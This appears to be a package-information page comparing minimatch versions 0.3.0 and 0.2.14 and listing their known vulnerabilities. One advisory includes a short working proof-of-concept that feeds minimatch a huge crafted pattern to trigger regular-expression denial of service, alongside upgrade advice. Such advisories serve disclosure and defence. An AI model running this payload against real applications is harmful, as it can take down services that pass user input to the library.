Minimatch is a lightweight JavaScript library designed for glob matching, a powerful way to specify patterns for file names and other strings. Versions 0.3.0 and 0.2.14 share the same core functionality and identical dependencies: sigmund (version ~1.0.0) for detecting file identity and lru-cache (version 2) for efficient caching to boost performance with frequently used patterns. Both are authored by Isaac Z. Schlueter, licensed under MIT, and maintain the same repository.
The key difference lies in the release date: version 0.3.0 was released on May 13, 2014, while 0.2.14 came out earlier, specifically on December 16, 2013. While functionally similar based on the provided metadata, the 0.3.0 release likely includes bug fixes, performance improvements, or internal refactorings not explicitly documented here. Developers should consider the newer version for its potential improvements, although reviewing its specific change log (if available) is highly recommended to understand exact modifications. Minimatch remains a solid choice for node.js developers or javascript developers in general that need to implement globbing in their toolset or application.
All the vulnerabilities related to the version 0.3.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.